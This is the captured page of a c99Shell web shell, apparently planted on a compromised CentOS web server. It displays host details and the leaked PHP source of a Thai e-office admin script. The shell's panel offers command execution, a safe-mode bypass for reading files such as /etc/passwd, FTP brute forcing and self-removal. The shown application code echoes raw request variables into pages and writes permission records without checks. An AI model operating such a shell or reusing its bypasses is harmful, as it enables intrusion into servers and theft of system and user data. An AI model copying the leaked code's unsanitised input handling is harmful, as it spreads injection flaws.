!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/eoffice/admin/   drwxr-xr-x
Free 50.88 GB of 127.8 GB (39.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     searchPsTable.php (23.31 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../link/keyThai.php";
include_once 
"getPrefix.php";
include_once 
"../class/clsUmuser.php";
include_once 
"../class/clsUmUserGroup.php";
$oUm = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_UMS'], $GLOBALS['DBUSER_UMS'], $GLOBALS['DBPASS_UMS']);
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);



$oDP = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlc1 = new DocLineConfig($oC);
$oDlc2 = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
$oDlp3 = new docLinePosition($oC);
$oDlp4 = new docLinePosition($oC);
$oRs = new DocReceiveSend($oC);
$oUg = new umusergroup($oUm);
$oUus = new umuser($oUm);

if(
$fconfirm=="1"){   //confirm use doclineconfig
        
$oDlc->SearchByDeptMaxDocGroup($deptId,$oDP->SearchMaxDocGroup());
        while(
$oDlc->GetRecord()){
                
$oDlc->Edit();
                
$oDlc->DlcID=$oDlc->DlcID;
                
$oDlc->deptId=$oDlc->deptId;
                
$oDlc->DlpID=$oDlc->DlpID;
                
$oDlc->personId=$oDlc->personId;
                
$oDlc->DlcSeq=$oDlc->DlcSeq;
                
$oDlc->docGroup=$oDlc->docGroup;
                
$oDlc->confirm="Y";
                
$oDlc->DlcActive=$oDlc->DlcActive;
                
$oDlc->Save();
        }
?>
        <script language="JavaScript">
        parent.location.href ="docLineConfig.php?deptId=<?  echo $deptId?>";
        </script>
<?

}else if($fdelete=="1"){ //ลบข้อมูล

            
$oDlc2->SearchByDeptMaxDocGroup($deptId,$oDP->SearchMaxDocGroup()); 
            
$checkuse=0;
            while(
$oDlc2->GetRecord()){
                    
$oRs->SearchByDlcIDDocGroup2($oDlc2->DlcID,$oDP->SearchMaxDocGroup());
                    if(
$oRs->GetRecord()==1){
                                    
$checkuse++;
                    }
            }
            
//echo "checkuse=".$checkuse;
        
if($checkuse=="0"){
            
$oDlc->SearchByDeptMaxDocGroup($deptId,$oDP->SearchMaxDocGroup());
            while(
$oDlc->GetRecord()){
                    
$oDlc->Delete();
            }
        }else{
?>
        <script language="JavaScript">
        alert("ไม่สามารถลบข้อมูลตำแหน่งงานสารบรรณได้\nเนื่องจากมีการใช้งานตำแหน่งสารบรรณนี้แล้ว");
        </script>
<?    
        
}
?>
        <script language="JavaScript">
        parent.location.href ="docLineConfig.php?deptId=<?  echo $deptId?>";
        </script>
<?
}else{

if(
$method=="addps"){  //add person in lineconfig
        
$oDlc->SearchByKey($DlcID);
        if(
$oDlc->GetRecord()==1){ //edit
                //echo "A<br>";
                
$oDlc->Edit();
                
$oDlc->DlcID=$DlcID;
                
$oDlc->deptId=$oDlc->deptId;
                
$oDlc->DlpID=$oDlc->DlpID;
                
$oDlc->personId=$personId;
                
$oDlc->DlcSeq=$oDlc->DlcSeq;
                    
$oDP->SearchByKey($oDlc->deptId); 
                    
$oDP->GetRecord();
                
$oDlc->docGroup=$oDP->docGroup;
                
$oDlc->DlcActive=$oDlc->DlcActive;
                
$oDlc->Save();
                
                if(
$personId[$r]!="0" && $personId[$r]!=""){
                                            
//setUMS($personId[$r],$oDlp->GpID);
                                            
$oDlp->SearchByKey($oDlc->DlpID);  
                                            
$oDlp->GetRecord(); 
                                            
$oUus->SearchByUsPsCode($personId);
                                            
$oUus->GetRecord();
                                        echo 
"----".$oUus->UsID;
                                            
$oUg->SearchByKey($oDlp->GpID,$oUus->UsID);
                                            if(
$oUg->GetRecord()==0){
                                                
$oUg->AddNew();
                                                
$oUg->UgID=$oUg->GetNextCode();
                                                echo 
"UgID=".$oUg->UgID."<br>";
                                                
$oUg->UgGpID=$oDlp->GpID;
                                                echo 
"UgGpID=".$oUg->UgGpID."<br>";
                                                
$oUg->UgUsID=$oUus->UsID;
                                                echo 
"UgUsID=".$oUg->UgUsID."<br>";
                                                
$oUg->Save();
                                                
                                            }
                }
                
        }else{   
//add new line
                //echo "B<br>";
                
$oDlc1->AddNew();
                
$oDlc1->DlcID=$DlcID;
                
//echo "DlcID=".$oDlc1->DlcID."<br>";
                
$oDlc1->deptId=$deptId;
                
//echo "deptId=".$oDlc1->deptId."<br>";
                
$oDlc1->personId=$personId;
                
//echo "personId=".$oDlc1->personId."<br>";
                
$oDlc1->DlcSeq=$DlcSeq;
                
//echo "DlcSeq=".$oDlc1->DlcSeq."<br>";
                    
$oDP->SearchByKey($oDlc1->deptId); 
                    
$oDP->GetRecord();
                
$oDlc1->docGroup=$oDP->docGroup;
                
//echo "docGroup=".$oDlc1->docGroup."<br>";
                
$oDlc1->Save();
        }
        
?>
    <script language="javascript1.2">    
        window.close();
        window.opener.location.href="docLineConfig.php?deptId=<?  echo $deptId?>";
    </script>
    <?
}else if($method=="addps2"){  //add person in lineconfig
        
$oDlc->SearchByKey($DlcID);
        if(
$oDlc->GetRecord()==1){ //edit
                //echo "A<br>";
                
$oDlc->Edit();
                
$oDlc->DlcID=$DlcID;
                
$oDlc->deptId=$oDlc->deptId;
                
$oDlc->DlpID=$oDlc->DlpID;
                
$oDlc->personId=$personId;
                
$oDlc->DlcSeq=$oDlc->DlcSeq;
                    
$oDP->SearchByKey($oDlc->deptId); 
                    
$oDP->GetRecord();
                
$oDlc->docGroup=$oDP->docGroup;
                
$oDlc->DlcActive=$oDlc->DlcActive;
                
$oDlc->Save();

                if(
$personId[$r]!="0" && $personId[$r]!=""){
                                            
//setUMS($personId[$r],$oDlp->GpID);
                                            
$oDlp->SearchByKey($oDlc->DlpID);  
                                            
$oDlp->GetRecord(); 
                                            
$oUus->SearchByUsPsCode($personId);
                                            
$oUus->GetRecord();
                                        echo 
"----".$oUus->UsID;
                                            
$oUg->SearchByKey($oDlp->GpID,$oUus->UsID);
                                            if(
$oUg->GetRecord()==0){
                                                
$oUg->AddNew();
                                                
$oUg->UgID=$oUg->GetNextCode();
                                                echo 
"UgID=".$oUg->UgID."<br>";
                                                
$oUg->UgGpID=$oDlp->GpID;
                                                echo 
"UgGpID=".$oUg->UgGpID."<br>";
                                                
$oUg->UgUsID=$oUus->UsID;
                                                echo 
"UgUsID=".$oUg->UgUsID."<br>";
                                                
$oUg->Save();
                                                
                                            }
                }                
                
                
        }else{   
//add new line
                //echo "B<br>";
                
$oDlc1->AddNew();
                
$oDlc1->DlcID=$DlcID;
                
//echo "DlcID=".$oDlc1->DlcID."<br>";
                
$oDlc1->deptId=$deptId;
                
//echo "deptId=".$oDlc1->deptId."<br>";
                
$oDlc1->personId=$personId;
                
//echo "personId=".$oDlc1->personId."<br>";
                
$oDlc1->DlcSeq=$DlcSeq;
                
//echo "DlcSeq=".$oDlc1->DlcSeq."<br>";
                    
$oDP->SearchByKey($oDlc1->deptId); 
                    
$oDP->GetRecord();
                
$oDlc1->docGroup=$oDP->docGroup;
                
//echo "docGroup=".$oDlc1->docGroup."<br>";
                
$oDlc1->Save();
        }
        
?>
    <script language="javascript1.2">    
        window.close();
        window.opener.location.href="docLineConfigforDept.php";
    </script>
    <?
}else if($method=="pp"){  //save all config 
            
for($r=0;$r<$countline;$r++){ 
                    if(
$DlpIDadd=="0" && $personIdadd=="" && $DlcProposeadd=="N" && $DlcSignadd=="N" && $DlcSendadd=="N" && $DlcByPassadd=="N" && $DlcViewadd =="N"){
                        
//echo "C<br>";  //no data
                    
}else{
                            
//echo "<br>D===".$newposition."<br>";        
                            
$oDlc->SearchByKey($DlcID[$r]);
                            
$oDlc->GetRecord();
                            
$oDlc->Edit();
                        
//    echo "oDlc->DlpID===".$oDlc->DlpID."<br>";
                        //    echo "DlpID[r]===".$DlpID[$r]."<br>";
                            
                            
$oDlc->DlcID=$DlcID[$r];
                            
//echo "DlcID=".$oDlc->DlcID."<br>";
                            
$oDlc->deptId=$oDlc->deptId;
                            
//echo "deptId=".$oDlc->deptId."<br>";
                            
                            
$saveDlpID=$oDlc->DlpID;
                            
                            
$oDlp->SearchByKey($DlpID[$r]);  
                            
$oDlp->GetRecord(); 
                            
//echo 'DlpPropose='.$oDlp->DlpPropose.'<br>';
                            
if($oDlp->DlpPID=="0"){  
                                
//echo "no edit<br>";
                                
$oDlc->DlpID=$DlpID[$r];
                                
                            }else{
                                
//echo "edit=".($DlpID[$r-1])."<br>";
                                
$oDlp2->SearchDlpPIDByDlpID($DlpID[$r-1]);  
                                
$oDlp2->GetRecord();         
                                
$oDlc->DlpID=$oDlp2->DlpID;
                                
$a=1;
                            }
                            
$oDlp4->SearchByKey($oDlc->DlpID);  
                            
$oDlp4->GetRecord();                             
                            
//----set in ums
                            
if($saveDlpID!=$oDlc->DlpID){
                                            
$oDlp3->SearchByKey($oDlc->DlpID);  
                                            
$oDlp3->GetRecord(); 
                                            
$oUus->SearchByUsPsCode($personId[$r]);
                                            
$oUus->GetRecord();
                                            
//echo "----".$oUus->UsID;
                                            
$oUg->SearchByKey($oDlp3->GpID,$oUus->UsID);
                                            if(
$oUg->GetRecord()==0){
                                                
$oUg->AddNew();
                                                
$oUg->UgID=$oUg->GetNextCode();
                                                
//echo "UgID=".$oUg->UgID."<br>";
                                                
$oUg->UgGpID=$oDlp3->GpID;
                                                
//echo "UgGpID=".$oUg->UgGpID."<br>";
                                                
$oUg->UgUsID=$oUus->UsID;
                                                
//echo "UgUsID=".$oUg->UgUsID."<br>";
                                                
$oUg->Save();
                                            }                            
                            }
                                        
                            
//echo "DlpID=".$oDlc->DlpID."<br>";
                            
$oDlc->personId=$personId[$r];
                            
//echo "personId=".$oDlc->personId."<br>";
                            
$oDlc->DlcSeq=$DlcSeq[$r];
                            
//echo "DlcSeq=".$oDlc->DlcSeq."<br>";
                            
                            //echo "saveDlpID===".$saveDlpID."<br>";
                            //echo "oDlc->DlpID===".$oDlc->DlpID."<br>";
                            
if($saveDlpID!=$oDlc->DlpID || $newposition=='newposition'){
                                    
//echo ' change<br>';
                                    
if($oDlp4->DlpPropose=="Y"){
                                        
//echo ' DlpPropose=="Y"<br>';
                                        
$oDlc->DlcPropose='Y';
                                    }else{
                                        
//echo ' DlpPropose!="Y"<br>';
                                        
$oDlc->DlcPropose="N";
                                    }
                                    
//echo "DlcPropose=".$oDlc1->DlcPropose."<br>";
                                    
if($oDlp4->DlpSign=="Y"){
                                        
$oDlc->DlcSign='Y';
                                    }else{
                                        
$oDlc->DlcSign="N";
                                    }
                                    
//echo "DlcSign=".$oDlc1->DlcSign."<br>";
                                    
if($oDlp4->DlpSend=="Y"){
                                        
$oDlc->DlcSend='Y';
                                    }else{
                                        
$oDlc->DlcSend="N";
                                    }
                                    
//echo "DlcSend=".$oDlc1->DlcSend."<br>";
                                    
if($oDlp4->DlpByPass=="Y"){
                                        
$oDlc->DlcByPass='Y';
                                    }else{
                                        
$oDlc->DlcByPass="N";
                                    }
                                    
//echo "DlcByPass=".$oDlc1->DlcByPass."<br>";
                                    
if($oDlp4->DlpView=="Y"){
                                        
$oDlc->DlcView='Y';
                                    }else{
                                        
$oDlc->DlcView="N";
                                    }
                            }else{
                                    
//echo 'no change<br>';
                                    
if($DlcPropose[$r]=="Y"){
                                        
$oDlc->DlcPropose=$DlcPropose[$r];
                                    }else{
                                        
$oDlc->DlcPropose="N";
                                    }
                                    
//echo "DlcPropose=".$oDlc->DlcPropose."<br>";
                                    
if($DlcSign[$r]=="Y"){
                                        
$oDlc->DlcSign=$DlcSign[$r];
                                    }else{
                                        
$oDlc->DlcSign="N";
                                    }
                                    
//echo "DlcSign=".$oDlc->DlcSign."<br>";
                                    
if($DlcSend[$r]=="Y"){
                                        
$oDlc->DlcSend=$DlcSend[$r];
                                    }else{
                                        
$oDlc->DlcSend="N";
                                    }
                                    
//echo "DlcSend=".$oDlc->DlcSend."<br>";
                                    
if($DlcByPass[$r]=="Y"){
                                        
$oDlc->DlcByPass=$DlcByPass[$r];
                                    }else{
                                        
$oDlc->DlcByPass="N";
                                    }
                                    
//echo "DlcByPass=".$oDlc->DlcByPass."<br>";
                                    
if($DlcView[$r]=="Y"){
                                        
$oDlc->DlcView=$DlcView[$r];
                                    }else{
                                        
$oDlc->DlcView="N";
                                    }
                            
                            }
                            
                            
//echo "DlcView=".$oDlc->DlcView."<br>";
                                
$oDP->SearchByKey($oDlc->deptId); 
                                
$oDP->GetRecord();
                            
$oDlc->docGroup=$oDP->docGroup;
                            
//echo "docGroup=".$oDlc->docGroup."<br>";
                            
if($DlcActive[$r]=="Y"){
                                
$oDlc->DlcActive=$DlcActive[$r];
                            }else{
                                
$oDlc->DlcActive="N";
                            }
                            
$oDlc->Save();
                            
                                            
                            
                    } 
                    
//echo "------------------------------------------------<br>";
            
// end if  save all config 
            
$oDlp->SearchByKey($DlpIDadd);
            
$oDlp->GetRecord();
            if(
$addline=="1" && $showdeptId!="1"){  //if add new line
                    
if($DlpIDadd=="0" && $personIdadd=="" && $DlcProposeadd!="Y" && $DlcSignadd!="Y" && $DlcSendadd!="Y" && $DlcByPassadd!="Y" && $DlcViewadd !="Y"){
                        
//echo "E<br>";  //no data
                    
}else{
                        
//echo "F<br>";
                        
$oDlc1->AddNew();
                        
$oDlc1->DlcID=$DlcIDadd;
                        
//echo "DlcID=".$oDlc1->DlcID."<br>";
                        
$oDlc1->deptId=$deptId;
                        
//echo "deptId=".$oDlc1->deptId."<br>";
                        
$oDlc1->DlpID=$DlpIDadd;
                        
//echo "DlpID=".$oDlc1->DlpID."<br>";
                        
$oDlc1->personId=$personIdadd;
                        
//echo "personId=".$oDlc1->personId."<br>";
                        
$oDlc1->DlcSeq=$DlcSeqadd;
                        
//echo "DlcSeq=".$oDlc1->DlcSeq."<br>";
                        
if($oDlp->DlpPropose=="Y"){
                            
$oDlc1->DlcPropose='Y';
                        }else{
                            
$oDlc1->DlcPropose="N";
                        }
                        
//echo "DlcPropose=".$oDlc1->DlcPropose."<br>";
                        
if($oDlp->DlpSign=="Y"){
                            
$oDlc1->DlcSign='Y';
                        }else{
                            
$oDlc1->DlcSign="N";
                        }
                        
//echo "DlcSign=".$oDlc1->DlcSign."<br>";
                        
if($oDlp->DlpSend=="Y"){
                            
$oDlc1->DlcSend='Y';
                        }else{
                            
$oDlc1->DlcSend="N";
                        }
                        
//echo "DlcSend=".$oDlc1->DlcSend."<br>";
                        
if($oDlp->DlpByPass=="Y"){
                            
$oDlc1->DlcByPass='Y';
                        }else{
                            
$oDlc1->DlcByPass="N";
                        }
                        
//echo "DlcByPass=".$oDlc1->DlcByPass."<br>";
                        
if($oDlp->DlpView=="Y"){
                            
$oDlc1->DlcView='Y';
                        }else{
                            
$oDlc1->DlcView="N";
                        }
                        
//echo "DlcView=".$oDlc1->DlcView."<br>";
                                
$oDP->SearchByKey($oDlc1->deptId); 
                                
$oDP->GetRecord();
                        
$oDlc1->docGroup=$oDP->docGroup;
                        
//echo "docGroup=".$oDlc1->docGroup."<br>";
                            
if($DlcActiveadd=="Y"){
                                
$oDlc1->DlcActive=$DlcActiveadd;
                            }else{
                                
$oDlc1->DlcActive="N";
                            }
                        
$oDlc1->Save();
                    
//echo "------------------------------------------------<br>";
                    
                    //---------add Parent Dlp
                        
                        
$oDlc2->AddNew();
                        
$oDlc2->DlcID=$DlcIDadd+1;
                    
//    echo "DlcID=".$oDlc2->DlcID."<br>";
                        
$oDlc2->deptId=$deptId;
                        
//echo "deptId=".$oDlc2->deptId."<br>";
                        
$oDlp2->SearchDlpPIDByDlpID($DlpIDadd);
                        
$oDlp2->GetRecord();
                        
//echo '------------'.$oDlp2->DlpPropose.'<br>';
                        
$oDlc2->DlpID=$oDlp2->DlpID;
                        
//echo "DlpID=".$oDlc2->DlpID."<br>";
                        
$oDlc2->personId=$personIdadd;
                        
//echo "personId=".$oDlc2->personId."<br>";
                        
$oDlc2->DlcSeq=$DlcSeqadd+1;
                        
//echo "DlcSeq=".$oDlc2->DlcSeq."<br>";
                        
if($oDlp2->DlpPropose=="Y"){
                            
$oDlc2->DlcPropose='Y';
                        }else{
                            
$oDlc2->DlcPropose="N";
                        }
                        
//echo "DlcPropose=".$oDlc2->DlcPropose."<br>";
                        
if($oDlp2->DlpSign=="Y"){
                            
$oDlc2->DlcSign='Y';
                        }else{
                            
$oDlc2->DlcSign="N";
                        }
                        
//echo "DlcSign=".$oDlc2->DlcSign."<br>";
                        
if($oDlp2->DlpSend=="Y"){
                            
$oDlc2->DlcSend='Y';
                        }else{
                            
$oDlc2->DlcSend="N";
                        }
                        
//echo "DlcSend=".$oDlc2->DlcSend."<br>";
                        
if($oDlp2->DlpByPass=="Y"){
                            
$oDlc2->DlcByPass='Y';
                        }else{
                            
$oDlc2->DlcByPass="N";
                        }
                        
//echo "DlcByPass=".$oDlc2->DlcByPass."<br>";
                        
if($oDlp2->DlpView=="Y"){
                            
$oDlc2->DlcView='Y';
                        }else{
                            
$oDlc2->DlcView="N";
                        }
                        
//echo "DlcView=".$oDlc2->DlcView."<br>";
                                
$oDP->SearchByKey($oDlc2->deptId); 
                                
$oDP->GetRecord();
                        
$oDlc2->docGroup=$oDP->docGroup;
                        
//echo "docGroup=".$oDlc2->docGroup."<br>";
                            
if($DlcActiveadd=="Y"){
                                
$oDlc2->DlcActive=$DlcActiveadd;
                            }else{
                                
$oDlc2->DlcActive="N";
                            }
                        
$oDlc2->Save();
                    
//echo "------------------------------------------------<br>";
                    //-----------------------------------
                    
}
            } 
//end if add new line
?>
            <script language="JavaScript">
            parent.location.href ="docLineConfig.php?deptId=<?  echo $deptId?>&addline=0";
            </script>
<?
}else if($method=="pp2"){  //save all config 
//echo "
            
for($r=0;$r<$countline;$r++){ 
                    if(
$DlpIDadd=="0" && $personIdadd=="" && $DlcProposeadd=="N" && $DlcSignadd=="N" && $DlcSendadd=="N" && $DlcByPassadd=="N" && $DlcViewadd =="N"){
                        
//echo "C<br>";  //no data
                    
}else{
                            
//echo "D<br>";        
                            
$oDlc->SearchByKey($DlcID[$r]);
                            
$oDlc->GetRecord();
                            
$oDlc->Edit();
                            
$oDlc->DlcID=$DlcID[$r];
                            
//echo "DlcID=".$oDlc->DlcID."<br>";
                            
$oDlc->deptId=$oDlc->deptId;
                            
//echo "deptId=".$oDlc->deptId."<br>";
                            
                            
$saveDlpID=$oDlc->DlpID;
                            
                            
$oDlp->SearchByKey($DlpID[$r]);  
                            
$oDlp->GetRecord(); 
                            if(
$oDlp->DlpPID=="0"){  
                                
//echo "no edit<br>";
                                
$oDlc->DlpID=$DlpID[$r];
                                
                            }else{
                                
//echo "edit=".($DlpID[$r-1])."<br>";
                                
$oDlp2->SearchDlpPIDByDlpID($DlpID[$r-1]);  
                                
$oDlp2->GetRecord();         
                                
$oDlc->DlpID=$oDlp2->DlpID;
                            }
                            
                            
//----set in ums
                            
if($saveDlpID!=$oDlc->DlpID){
                                            
$oDlp3->SearchByKey($oDlc->DlpID);  
                                            
$oDlp3->GetRecord(); 
                                            
$oUus->SearchByUsPsCode($personId[$r]);
                                            
$oUus->GetRecord();
                                            echo 
"----".$oUus->UsID;
                                            
$oUg->SearchByKey($oDlp3->GpID,$oUus->UsID);
                                            if(
$oUg->GetRecord()==0){
                                                
$oUg->AddNew();
                                                
$oUg->UgID=$oUg->GetNextCode();
                                                echo 
"UgID=".$oUg->UgID."<br>";
                                                
$oUg->UgGpID=$oDlp3->GpID;
                                                echo 
"UgGpID=".$oUg->UgGpID."<br>";
                                                
$oUg->UgUsID=$oUus->UsID;
                                                echo 
"UgUsID=".$oUg->UgUsID."<br>";
                                                
$oUg->Save();
                                            }                            
                            }
                                        
                            
//echo "DlpID=".$oDlc->DlpID."<br>";
                            
$oDlc->personId=$personId[$r];
                            
//echo "personId=".$oDlc->personId."<br>";
                            
$oDlc->DlcSeq=$DlcSeq[$r];
                            
//echo "DlcSeq=".$oDlc->DlcSeq."<br>";
                            
if($DlcPropose[$r]=="Y"){
                                
$oDlc->DlcPropose=$DlcPropose[$r];
                            }else{
                                
$oDlc->DlcPropose="N";
                            }
                            
//echo "DlcPropose=".$oDlc->DlcPropose."<br>";
                            
if($DlcSign[$r]=="Y"){
                                
$oDlc->DlcSign=$DlcSign[$r];
                            }else{
                                
$oDlc->DlcSign="N";
                            }
                            
//echo "DlcSign=".$oDlc->DlcSign."<br>";
                            
if($DlcSend[$r]=="Y"){
                                
$oDlc->DlcSend=$DlcSend[$r];
                            }else{
                                
$oDlc->DlcSend="N";
                            }
                            
//echo "DlcSend=".$oDlc->DlcSend."<br>";
                            
if($DlcByPass[$r]=="Y"){
                                
$oDlc->DlcByPass=$DlcByPass[$r];
                            }else{
                                
$oDlc->DlcByPass="N";
                            }
                            
//echo "DlcByPass=".$oDlc->DlcByPass."<br>";
                            
if($DlcView[$r]=="Y"){
                                
$oDlc->DlcView=$DlcView[$r];
                            }else{
                                
$oDlc->DlcView="N";
                            }
                            
//echo "DlcView=".$oDlc->DlcView."<br>";
                                
$oDP->SearchByKey($oDlc->deptId); 
                                
$oDP->GetRecord();
                            
$oDlc->docGroup=$oDP->docGroup;
                            
//echo "docGroup=".$oDlc->docGroup."<br>";
                            
if($DlcActive[$r]=="Y"){
                                
$oDlc->DlcActive=$DlcActive[$r];
                            }else{
                                
$oDlc->DlcActive="N";
                            }
                            
$oDlc->Save();
                            
                                            
                            
                    } 
                    
//echo "------------------------------------------------<br>";
            
// end if  save all config 
?>
            <script language="JavaScript">
            parent.location.href ="docLineConfigforDept.php?deptId=<?  echo $deptId?>";
            </script>
<?
}else{  //search person 
?>
<html>
<head>
<title>ตารางค้นหาบุคลากร</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="source/style.css" rel="stylesheet" type="text/css">
</head>
<style>
<!--
A:link {text-decoration: none; color: #000000}
A:visited {text-decoration: none; color: #000000}
A:hover {text-decoration: none; font-weight: underline; color: #015181} 
-->
</style>

 <form name="ff">
  <table width="102%" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr><td  height="30" align="left"><strong><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>">&nbsp;&nbsp;
            <img src="../picture/search2.jpg" alt=""  border="0" >
            ค้นหารายชื่อบุคลากร</font></strong></td></tr>
              <tr>
    <td height="30" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>">&nbsp;&nbsp;&nbsp;&nbsp;ชื่อ - นามสกุล ::</font>
    <input type="text" name="name" value="<? echo $name?>">&nbsp;<input type=submit value="ค้นหา" align=center>
      </td>
  </tr>
            <tr>
            <td align="center"><br>
            
        <table width="100%" height="22" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
          <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_15'];?>"> 
            <td height="24" colspan="4"    align="center" ><strong><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>">&nbsp;&nbsp; 
              รายชื่อบุคลากร</font></strong></td>
          </tr>
          <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_4'];?>"> 
            <td height="26" width="82" align="center" ><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>ลำดับที่</strong></font></td>
            <td width="927" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>ชื่อ-นามสกุล</strong></font></td>
          </tr>
          <tr>
           <td width="82" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo a2th($i+1);?>
              </font></td>
            <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">
            <? if($fordept==1){  $mth="addps2"; }else{  $mth="addps";  } ?>
            <? if($addnew!=1){?>
            <a href="searchPsTable.php?DlcID=<? echo $DlcID?>&method=<? echo $mth?>&personId=&deptId=<? echo $deptId?>">&nbsp;&nbsp;<? echo "ไม่เลือก";?></a>
            <? }else{ ?>
            <a href="searchPsTable.php?DlcID=<? echo $DlcID?>&method=<? echo $mth?>&personId=&deptId=<? echo $deptId?>&DlcSeq=<? echo $DlcSeq;?>&docGroup=<? echo $docGroup?>"><? echo "ไม่เลือก";?></a>            
            <? ?>
              </font></td>
              </tr>
          <?php 
                  $i
=1;
                  
$oPS->SearchByName($name);
                while(
$oPS->GetRecord()){
                                if((
$i%2) == 0)
                                          echo 
"<tr>";
                                    else
                                          echo 
"<tr bgcolor=\"".$GLOBALS['COLOR_BG_TABLE_8']."\">";
?>
          
            <td width="82" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>"><? echo a2th($i+1);?>
              </font></td>
            <td align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_4"];?>">
            <? if($addnew!=1){?>
            <a href="searchPsTable.php?DlcID=<? echo $DlcID?>&method=<? echo $mth?>&personId=<? echo $oPS->personId?>&deptId=<? echo $deptId?>"><? echo "&nbsp;&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName?></a>
            <? }else{ ?>
            <a href="searchPsTable.php?DlcID=<? echo $DlcID?>&method=<? echo $mth?>&personId=<? echo $oPS->personId?>&deptId=<? echo $deptId?>&DlcSeq=<? echo $DlcSeq;?>&docGroup=<? echo $docGroup?>"><? echo "&nbsp;&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName?></a>            
            <? ?>
              </font></td>
          </tr>
          <? $i++;  } ?>
          
          <table width="100%" border="0" cellspacing="0" cellpadding="1">
          <tr>
              <td><font color="#FF0000" size="-1" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">หมายเหตุ :: 
                คลิกที่รายชื่อบุคลากรที่ต้องการ<br>
                &nbsp;&nbsp;&nbsp;<font color="#FF0000"></font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
                กำหนดตำแหน่งงานสารบรรณ</font></td>
            </tr>
    <tr>
        <td>
        </td>
        <td align="right"><font size="2">รวม <?php echo $i?> รายการ</font></td>
    </tr>
    <tr>
        <td colspan="2" align="center" bgcolor="#FFFFFF">
        </td>
    </tr>    
    <tr>
        <td align="center" colspan="2" bgcolor="#FFFFFF"><a href="#" onClick="window.close()"><font size="2" face="Microsoft Sans Serif">[ปิดหน้าต่าง]</font></a></td>
    </tr>
</table>
        </table>
</td>
</tr>
</table>
<input type="hidden" name="DlcID" value="<? echo $DlcID?>">
<input type="hidden" name="deptId" value="<? echo $deptId?>">
</form>
</body>
</html>
<? }  //end if case method
 
}  //end if confirm use doclineconfig  ?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0176 ]--